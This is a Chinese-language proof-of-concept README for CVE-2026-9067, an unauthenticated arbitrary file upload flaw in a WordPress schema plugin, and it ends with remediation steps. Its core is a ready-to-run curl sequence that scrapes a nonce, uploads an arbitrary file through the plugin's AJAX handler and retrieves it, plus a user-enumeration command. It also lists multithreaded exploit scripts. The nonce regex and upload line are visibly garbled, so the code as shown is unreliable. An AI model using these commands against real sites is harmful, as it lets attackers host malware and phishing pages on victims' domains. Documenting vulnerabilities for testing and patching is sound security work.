POC & Xploit - 概念验证目录
针对WordPress安全测试环境中发现的漏洞的文档和利用工具。
漏洞列表
| CVE ID | 插件 | 严重性 | 类型 | 状态 |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | 高 (8.1) | 任意文件上传 | 已记录 |
CVE-2026-9067
快速摘要
漏洞描述
插件 Schema & Structured Data for WP & AMP 在 1.60 版本之前,未验证 AJAX 处理程序中用于文件上传的用户权限,也未验证上传的文件类型。这使得未认证的攻击者可以上传任意文件。
影响
- 内容托管:攻击者可以在受害者域名上托管恶意内容
- 磁盘消耗:上传任意文件可能耗尽磁盘空间
- 声誉滥用:从受害者域名分发恶意软件、钓鱼页面
重要提示:WordPress 核心会阻止可执行文件(.php、.phtml、.html、.svg),因此该漏洞不存在直接的 RCE 路径。
文件
CVE-2026-9067/
├── CVE-2026-9067.md # 完整文档(本文件)
├── CVE-2026-9067.py # 带有多线程功能的 Python 利用脚本
├── CVE-2026-9067.sh # Bash/Shell PoC 脚本
└── CVE-2026-9067_exploit.sh # 替代 Bash PoC 脚本
快速 PoC
# 步骤 1:获取 nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# 步骤 2:上传任意文件
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# 步骤 3:访问上传的文件
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
环境信息
测试命令
检查站点状态
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
检查插件版本
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
枚举用户
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
修复措施
- 升级插件:将 Schema & Structured Data for WP & AMP 更新到 1.60 或更高版本
- 禁用插件:如果无法升级,则禁用该插件
- 加固:
- 设置
DISALLOW_FILE_MODIFICATIONS 常量
- 通过
.htaccess 禁止在 uploads 目录中执行 PHP
- 实施 WAF 规则
参考